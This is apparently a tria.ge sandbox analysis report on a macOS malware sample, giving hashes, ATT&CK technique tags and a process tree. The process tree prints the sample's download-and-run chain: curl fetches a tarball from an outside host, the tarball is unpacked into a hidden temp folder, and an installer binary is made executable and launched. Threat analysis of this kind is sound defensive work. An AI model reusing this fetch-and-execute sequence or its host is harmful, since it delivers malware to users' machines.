Windows 7 deprecation

Windows 7 will be removed from tria.ge on 2025-03-31

Overview

overview

10

Static

static

10

Macos-Malw...0d9d0b

macos-10.15-amd64

7

Macos-Malw...e6cad8

macos-10.15-amd64

7

Macos-Malw...858d9a

macos-10.15-amd64

1

Macos-Malw...8a248d

macos-10.15-amd64

7

Macos-Malw...a2394d

macos-10.15-amd64

1

Macos-Malw...db8b08

macos-10.15-amd64

7

Macos-Malw...1dd006

macos-10.15-amd64

7

Macos-Malw...4b1694

macos-10.15-amd64

1

Macos-Malw...cba061

macos-10.15-amd64

7

Macos-Malw...0ac417

macos-10.15-amd64

1

Macos-Malw...623edb

macos-10.15-amd64

1

Macos-Malw...715108

macos-10.15-amd64

1

Macos-Malw...0f989b

macos-10.15-amd64

1

Macos-Malw...5953fb

macos-10.15-amd64

7

Macos-Malw...997f4e

macos-10.15-amd64

1

Macos-Malw...c42693

macos-10.15-amd64

1

Macos-Malw...178f1a

macos-10.15-amd64

7

Macos-Malw...bb3f2a

macos-10.15-amd64

7

Macos-Malw...cfc69b

macos-10.15-amd64

7

Macos-Malw...53d096

macos-10.15-amd64

7

Macos-Malw...c2eb29

macos-10.15-amd64

7

Macos-Malw...684200

macos-10.15-amd64

1

Macos-Malw...e2020a

macos-10.15-amd64

7

Macos-Malw...e86dc4

macos-10.15-amd64

1

Macos-Malw...884d52

macos-10.15-amd64

7

Macos-Malw...32440c

macos-10.15-amd64

7

Macos-Malw...11b661

macos-10.15-amd64

7

Macos-Malw...40d4f3

macos-10.15-amd64

1

Macos-Malw...c98e38

macos-10.15-amd64

1

Macos-Malw...bf2f25

macos-10.15-amd64

1

Macos-Malw...7ca34f

macos-10.15-amd64

1

Macos-Malw...f5704d

macos-10.15-amd64

1

Analysis

  • max time kernel
    46s
  • max time network
    159s
  • platform
    macos-10.15_amd64
  • resource
    macos-20241106-en
  • resource tags

    arch:amd64arch:i386image:macos-20241106-enkernel:19b77alocale:en-usos:macos-10.15-amd64system
  • submitted
    17/02/2025, 18:06

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb

  • Size

    48KB

  • MD5

    459d79d4f2199bdcb5a37f4701366a43

  • SHA1

    1a3f14be4337347a85b179a1075c2c0f540b9f56

  • SHA256

    0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb

  • SHA512

    6163b085ad809e27269c6a5dffc30111bd93d5e043788ca055df3c5a98515fb5f398f60003033357288e21ad903ab34020bd43a9b4d0c8740a9f5dbc21e88d89

  • SSDEEP

    1536:S2ruNS0YoPzzplpK/cCa0wevAMLCo+wl:NuNS0YC2/cS5dLCcl

Score
7/10
defense_evasionexecutionexfiltration

Malware Config

Signatures

  • Exfiltration Over Alternative Protocol 1 TTPs 1 IoCs

    Adversaries may steal data by exfiltrating it over an un-encrypted network protocol other than that of the existing command and control channel.

    exfiltration
  • File Permission 1 TTPs

    Adversaries may modify file permissions/attributes to evade access control lists (ACLs) and access protected files.

    defense_evasion
  • Resource Forking 1 TTPs 1 IoCs

    Adversaries may abuse resource forks to hide malicious code or executables to evade detection and bypass security applications. A resource fork provides applications a structured way to store resources such as thumbnail images, menu definitions, icons, dialog boxes, and code.

    defense_evasion
  • Command and Scripting Interpreter 1 TTPs

    Adversaries may abuse Unix shell commands and scripts for execution.

    execution

Processes

  • /bin/sh
    sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb\""
    1⤵
      PID:482
    • /bin/bash
      sh -c "sudo /bin/zsh -c \"/Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb\""
      1⤵
        PID:482
      • /usr/bin/sudo
        sudo /bin/zsh -c /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
        1⤵
          PID:482
          • /bin/zsh
            /bin/zsh -c /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
            2⤵
              PID:483
            • /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
              /Users/run/Macos-Malware-Samples-main/0ca84388595085383469eef8f4e226a7323922a0482f507fdffac5909e5953fb
              2⤵
                PID:483
                • /usr/bin/python
                  /usr/bin/python -
                  3⤵
                    PID:484
                  • /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python
                    /System/Library/Frameworks/Python.framework/Versions/2.7/Resources/Python.app/Contents/MacOS/Python -
                    3⤵
                      PID:484
                      • /usr/bin/curl
                        /usr/bin/curl -qsL -m 1200 "http://bghui.storeyourstreams.xyz/tr/ioffers.tar.gz?ts=1739844981" -o /private/tmp/.mmstmp//stmp.tar.gz
                        4⤵
                          PID:485
                  • /bin/sh
                    sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
                    1⤵
                      PID:486
                    • /bin/bash
                      sh -c "/usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/"
                      1⤵
                        PID:486
                      • /usr/bin/tar
                        /usr/bin/tar -xvzf /private/tmp/.mmstmp//stmp.tar.gz -C /private/tmp/.mmstmp/
                        1⤵
                          PID:486
                        • /bin/sh
                          sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                          1⤵
                            PID:487
                          • /bin/bash
                            sh -c "/bin/chmod +x '/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                            1⤵
                              PID:487
                            • /bin/chmod
                              /bin/chmod +x /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                              1⤵
                                PID:487
                              • /bin/sh
                                sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                1⤵
                                  PID:488
                                • /bin/bash
                                  sh -c "'/private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos'"
                                  1⤵
                                    PID:488
                                  • /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                    /private/tmp/.mmstmp//mm-install-macos.app/Contents/MacOS/mm-install-macos
                                    1⤵
                                      PID:488
                                    • /usr/libexec/xpcproxy
                                      xpcproxy com.apple.nsurlstoraged
                                      1⤵
                                        PID:489
                                      • /usr/libexec/nsurlstoraged
                                        /usr/libexec/nsurlstoraged --privileged
                                        1⤵
                                          PID:489

                                        Network

                                        MITRE ATT&CK Enterprise v15

                                        Replay Monitor

                                        Loading Replay Monitor...

                                        Downloads

                                        • /var/db/nsurlstoraged/dafsaData.bin
                                          Filesize

                                          54KB

                                          MD5

                                          64f469698e53d0c828b7f90acd306082

                                          SHA1

                                          bcc041b3849e1b0b4104ffeb46002207eeac54f3

                                          SHA256

                                          d74d0e429343f5e1b3e0b9437e048917c4343a30cff068739ea898bad8e37ffd

                                          SHA512

                                          a8334d1304f2fbd32cfd0ca35c289a45c450746cf3be57170cbbe87b723b1910c2e950a73c1fb82de9dc5ed623166d339a05fec3d78b861a9254dc2cb51fab5f

                                          Download Submit